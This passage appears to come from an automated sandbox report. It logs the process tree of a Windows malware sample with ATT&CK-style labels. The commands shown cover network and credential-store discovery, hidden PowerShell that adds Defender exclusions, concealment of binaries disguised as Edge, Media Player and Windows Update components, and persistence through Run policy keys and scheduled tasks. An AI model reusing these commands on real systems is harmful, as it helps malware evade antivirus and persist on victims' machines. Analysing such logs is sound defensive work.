      PID:736
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "ipconfig /all"
    3⤵
    PID:1032
  - - C:\Windows\system32\ipconfig.exe
      ipconfig /all
      4⤵
      Gathers network information
      PID:3184
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "arp -a"
    3⤵
    - Network Service Discovery
    PID:1516
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:4176
  - - C:\Windows\system32\ARP.EXE
      arp -a
      4⤵
      Network Service Discovery
      PID:4272
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "netstat -ano"
    3⤵
    - System Network Connections Discovery
    PID:3980
  - - C:\Windows\system32\NETSTAT.EXE
      netstat -ano
      4⤵
      System Network Connections Discovery
      Gathers network information
      PID:3312
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "ipconfig /displaydns"
    3⤵
    PID:5044
  - - C:\Windows\system32\ipconfig.exe
      ipconfig /displaydns
      4⤵
      Gathers network information
      PID:1544
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "route print"
    3⤵
    PID:1592
  - - C:\Windows\system32\ROUTE.EXE
      route print
      4⤵
      PID:2360
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "net share"
    3⤵
    PID:4908
  - - C:\Windows\system32\net.exe
      net share
      4⤵
      PID:4052
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 share
        5⤵
        
        PID:4280
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "netsh wlan show profiles"
    3⤵
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:5000
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profiles
      4⤵
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:4944
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "netsh advfirewall show allprofiles"
    3⤵
    PID:4648
  - - C:\Windows\system32\netsh.exe
      netsh advfirewall show allprofiles
      4⤵
      Modifies Windows Firewall
      PID:1484
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "Get-MpComputerStatus -ErrorAction SilentlyContinue | Select-Object AntivirusEnabled,RealTimeProtectionEnabled | Format-List""
    3⤵
    PID:3068
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -Command "Get-MpComputerStatus -ErrorAction SilentlyContinue | Select-Object AntivirusEnabled,RealTimeProtectionEnabled | Format-List"
      4⤵
      Hide Artifacts: Ignore Process Interrupts
      PID:1564
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "Get-MpPreference -ErrorAction SilentlyContinue | Select-Object -ExpandProperty ExclusionPath""
    3⤵
    PID:2096
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -Command "Get-MpPreference -ErrorAction SilentlyContinue | Select-Object -ExpandProperty ExclusionPath"
      4⤵
      Hide Artifacts: Ignore Process Interrupts
      PID:3460
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "netsh advfirewall show allprofiles state"
    3⤵
    PID:3316
  - - C:\Windows\system32\netsh.exe
      netsh advfirewall show allprofiles state
      4⤵
      Modifies Windows Firewall
      PID:1656
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "netsh wlan show profiles"
    3⤵
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:2768
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profiles
      4⤵
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:3996
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKCU\Software\Microsoft\Terminal Server Client\Default" /s 2>nul"
    3⤵
    PID:4500
  - - C:\Windows\system32\reg.exe
      reg query "HKCU\Software\Microsoft\Terminal Server Client\Default" /s
      4⤵
      PID:1564
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" 2>nul"
    3⤵
    PID:1808
  - - C:\Windows\system32\reg.exe
      reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"
      4⤵
      PID:3928
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "cmdkey /list"
    3⤵
    PID:1088
  - - C:\Windows\system32\cmdkey.exe
      cmdkey /list
      4⤵
      PID:5008
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies" /s 2>nul"
    3⤵
    PID:1268
  - - C:\Windows\system32\reg.exe
      reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies" /s
      4⤵
      PID:956
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies" /s 2>nul"
    3⤵
    PID:4852
  - - C:\Windows\system32\reg.exe
      reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies" /s
      4⤵
      PID:760
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" 2>nul"
    3⤵
    PID:4984
  - - C:\Windows\system32\reg.exe
      reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run"
      4⤵
      PID:3788
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" 2>nul"
    3⤵
    PID:1736
  - - C:\Windows\system32\reg.exe
      reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
      4⤵
      PID:3384
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "wmic /namespace:\\root\SecurityCenter2 path AntiVirusProduct get displayName,productState /format:csv 2>nul"
    3⤵
    PID:3764
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic /namespace:\\root\SecurityCenter2 path AntiVirusProduct get displayName,productState /format:csv
      4⤵
      PID:3632
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "wmic product get name,version /format:csv 2>nul"
    3⤵
    PID:1152
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic product get name,version /format:csv
      4⤵
      PID:3156
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s 2>nul"
    3⤵
    PID:1740
  - - C:\Windows\system32\reg.exe
      reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s
      4⤵
      PID:4956
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "Get-CimInstance -ClassName SystemRestore -ErrorAction SilentlyContinue | Select-Object CreationTime,Description,EventType | Format-Table -AutoSize""
    3⤵
    PID:1840
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -Command "Get-CimInstance -ClassName SystemRestore -ErrorAction SilentlyContinue | Select-Object CreationTime,Description,EventType | Format-Table -AutoSize"
      4⤵
      Hide Artifacts: Ignore Process Interrupts
      PID:4788
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1888
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionProcess \"MsEdgeAutoUpdate.exe\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:5076
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "attrib +h "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe""
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:1340
- - C:\Windows\system32\attrib.exe
    attrib +h "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe"
    3⤵
    - Views/modifies file attributes
    PID:4176
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c del "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe:Zone.Identifier" 2>nul"
  2⤵
  PID:436
- - C:\Windows\system32\cmd.exe
    cmd /c del "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe:Zone.Identifier"
    3⤵
    PID:1136
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3604
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionProcess \"MicrosoftEdgeUpdate.exe\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2096
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "attrib +h "C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe""
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:4536
- - C:\Windows\system32\attrib.exe
    attrib +h "C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe"
    3⤵
    - Views/modifies file attributes
    PID:956
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c del "C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe:Zone.Identifier" 2>nul"
  2⤵
  PID:4588
- - C:\Windows\system32\cmd.exe
    cmd /c del "C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe:Zone.Identifier"
    3⤵
    PID:4548
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Microsoft\Media Player\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4000
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionProcess \"wmlaunch.exe\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2948
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "attrib +h "C:\Users\Admin\AppData\Local\Microsoft\Media Player\wmlaunch.exe""
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:4856
- - C:\Windows\system32\attrib.exe
    attrib +h "C:\Users\Admin\AppData\Local\Microsoft\Media Player\wmlaunch.exe"
    3⤵
    - Views/modifies file attributes
    PID:3604
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c del "C:\Users\Admin\AppData\Local\Microsoft\Media Player\wmlaunch.exe:Zone.Identifier" 2>nul"
  2⤵
  PID:1920
- - C:\Windows\system32\cmd.exe
    cmd /c del "C:\Users\Admin\AppData\Local\Microsoft\Media Player\wmlaunch.exe:Zone.Identifier"
    3⤵
    PID:4256
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1560
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionProcess \"SearchFilterHost.exe\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:988
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "attrib +h "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe""
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:4608
- - C:\Windows\system32\attrib.exe
    attrib +h "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe"
    3⤵
    - Views/modifies file attributes
    PID:1860
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c del "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe:Zone.Identifier" 2>nul"
  2⤵
  PID:5076
- - C:\Windows\system32\cmd.exe
    cmd /c del "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe:Zone.Identifier"
    3⤵
    PID:2080
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1516
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoP -W Hidden -Command "Add-MpPreference -ExclusionProcess \"wuauclt.exe\" -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4272
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "attrib +h "C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe""
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:1976
- - C:\Windows\system32\attrib.exe
    attrib +h "C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe"
    3⤵
    - Views/modifies file attributes
    PID:4516
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c del "C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe:Zone.Identifier" 2>nul"
  2⤵
  PID:5060
- - C:\Windows\system32\cmd.exe
    cmd /c del "C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe:Zone.Identifier"
    3⤵
    PID:1268
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v WindowsUpdate /f 2>nul"
  2⤵
  PID:1308
- - C:\Windows\system32\cmd.exe
    cmd /c reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v WindowsUpdate /f
    3⤵
    PID:1832
  - - C:\Windows\system32\reg.exe
      reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v WindowsUpdate /f
      4⤵
      PID:4996
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v OneDriveUpdater /f 2>nul"
  2⤵
  PID:4136
- - C:\Windows\system32\cmd.exe
    cmd /c reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v OneDriveUpdater /f
    3⤵
    PID:1092
  - - C:\Windows\system32\reg.exe
      reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v OneDriveUpdater /f
      4⤵
      PID:4480
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v WindowsUpdate /f 2>nul"
  2⤵
  PID:3960
- - C:\Windows\system32\cmd.exe
    cmd /c reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v WindowsUpdate /f
    3⤵
    PID:704
  - - C:\Windows\system32\reg.exe
      reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v WindowsUpdate /f
      4⤵
      PID:1568
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /delete /tn "MicrosoftEdgeUpdate" /f 2>nul"
  2⤵
  - Indicator Removal: Clear Persistence
  PID:4508
- - C:\Windows\system32\schtasks.exe
    schtasks /delete /tn "MicrosoftEdgeUpdate" /f
    3⤵
    PID:2080
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "MsEdgeAutoUpdate" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe" /f"
  2⤵
  PID:4568
- - C:\Windows\system32\cmd.exe
    cmd /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "MsEdgeAutoUpdate" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe" /f
    3⤵
    PID:3204
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "MsEdgeAutoUpdate" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe" /f
      4⤵
      Adds policy Run key to start application
      PID:1988
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "MicrosoftEdgeAutoUpdateTask" /xml "C:\Users\Admin\AppData\Local\Temp\tsk_0_1780336204055.xml" /f"
  2⤵
  PID:4632
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "MicrosoftEdgeAutoUpdateTask" /xml "C:\Users\Admin\AppData\Local\Temp\tsk_0_1780336204055.xml" /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1084
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "MicrosoftEdgeAutoUpdateTask" /tr "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe" /sc onlogon /f /rl LIMITED"
  2⤵
  PID:3768
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "MicrosoftEdgeAutoUpdateTask" /tr "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe" /sc onlogon /f /rl LIMITED
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1472
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "MicrosoftEdgeAutoUpdateTask_timer" /tr "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe" /sc minute /mo 3 /f /rl LIMITED"
  2⤵
  PID:1644
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "MicrosoftEdgeAutoUpdateTask_timer" /tr "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe" /sc minute /mo 3 /f /rl LIMITED
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4868
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "MsEdgeUpdateSvc" /xml "C:\Users\Admin\AppData\Local\Temp\tsk_1_1780336204211.xml" /f"
  2⤵
  PID:3284
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "MsEdgeUpdateSvc" /xml "C:\Users\Admin\AppData\Local\Temp\tsk_1_1780336204211.xml" /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:760
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "MsEdgeUpdateSvc" /tr "C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe" /sc onlogon /f /rl LIMITED"
  2⤵
  PID:4548
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "MsEdgeUpdateSvc" /tr "C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe" /sc onlogon /f /rl LIMITED
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:656
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "MsEdgeUpdateSvc_timer" /tr "C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe" /sc minute /mo 3 /f /rl LIMITED"
  2⤵
  PID:1700
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "MsEdgeUpdateSvc_timer" /tr "C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe" /sc minute /mo 3 /f /rl LIMITED
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4280
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "WindowsMediaCfg" /xml "C:\Users\Admin\AppData\Local\Temp\tsk_2_1780336204337.xml" /f"
  2⤵
  PID:3228
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "WindowsMediaCfg" /xml "C:\Users\Admin\AppData\Local\Temp\tsk_2_1780336204337.xml" /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:8
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "WindowsMediaCfg" /tr "C:\Users\Admin\AppData\Local\Microsoft\Media Player\wmlaunch.exe" /sc onlogon /f /rl LIMITED"
  2⤵
  PID:1376
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "WindowsMediaCfg" /tr "C:\Users\Admin\AppData\Local\Microsoft\Media Player\wmlaunch.exe" /sc onlogon /f /rl LIMITED
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3316
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "WindowsMediaCfg_timer" /tr "C:\Users\Admin\AppData\Local\Microsoft\Media Player\wmlaunch.exe" /sc minute /mo 3 /f /rl LIMITED"
  2⤵
  PID:4516
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "WindowsMediaCfg_timer" /tr "C:\Users\Admin\AppData\Local\Microsoft\Media Player\wmlaunch.exe" /sc minute /mo 3 /f /rl LIMITED
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4436
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "SearchFilterSvc" /xml "C:\Users\Admin\AppData\Local\Temp\tsk_3_1780336204462.xml" /f"
  2⤵
  PID:4552
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "SearchFilterSvc" /xml "C:\Users\Admin\AppData\Local\Temp\tsk_3_1780336204462.xml" /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3408
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "SearchFilterSvc" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe" /sc onlogon /f /rl LIMITED"
  2⤵
  PID:2972
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "SearchFilterSvc" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe" /sc onlogon /f /rl LIMITED
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3632
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "SearchFilterSvc_timer" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe" /sc minute /mo 3 /f /rl LIMITED"
  2⤵
  PID:4364
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "SearchFilterSvc_timer" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe" /sc minute /mo 3 /f /rl LIMITED
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3480
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "WindowsUpdateAgent" /xml "C:\Users\Admin\AppData\Local\Temp\tsk_4_1780336204602.xml" /f"
  2⤵
  PID:2032
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "WindowsUpdateAgent" /xml "C:\Users\Admin\AppData\Local\Temp\tsk_4_1780336204602.xml" /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5064
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "WindowsUpdateAgent" /tr "C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe" /sc onlogon /f /rl LIMITED"
  2⤵
  PID:2344
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "WindowsUpdateAgent" /tr "C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe" /sc onlogon /f /rl LIMITED
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1060
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "WindowsUpdateAgent_timer" /tr "C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe" /sc minute /mo 3 /f /rl LIMITED"
  2⤵
  PID:2260
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "WindowsUpdateAgent_timer" /tr "C:\Users\Admin\AppData\Local\Microsoft\WindowsUpdate\wuauclt.exe" /sc minute /mo 3 /f /rl LIMITED
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4592
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "SvcHost_1" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe" /f"
  2⤵
  PID:992
- - C:\Windows\system32\cmd.exe
    cmd /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "SvcHost_1" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe" /f
    3⤵
    PID:1164
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "SvcHost_1" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Microsoft\Edge\Update\MicrosoftEdgeUpdate.exe" /f
      4⤵
      Adds policy Run key to start application
      PID:1948
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "SvcHost_2" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Microsoft\Media Player\wmlaunch.exe" /f"
  2⤵
  PID:328
- - C:\Windows\system32\cmd.exe
    cmd /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "SvcHost_2" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Microsoft\Media Player\wmlaunch.exe" /f
    3⤵
    PID:224
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "SvcHost_2" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Microsoft\Media Player\wmlaunch.exe" /f
      4⤵
      Adds policy Run key to start application
      PID:132
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "SvcHost_3" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe" /f"
  2⤵
  PID:1436
- - C:\Windows\system32\cmd.exe
    cmd /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "SvcHost_3" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe" /f
    3⤵
    PID:4256
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "SvcHost_3" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Libraries\SearchFilterHost.exe" /f
      4⤵
      Adds policy Run key to start application
      PID:4432
- C:\Windows\system32\cmd.exe
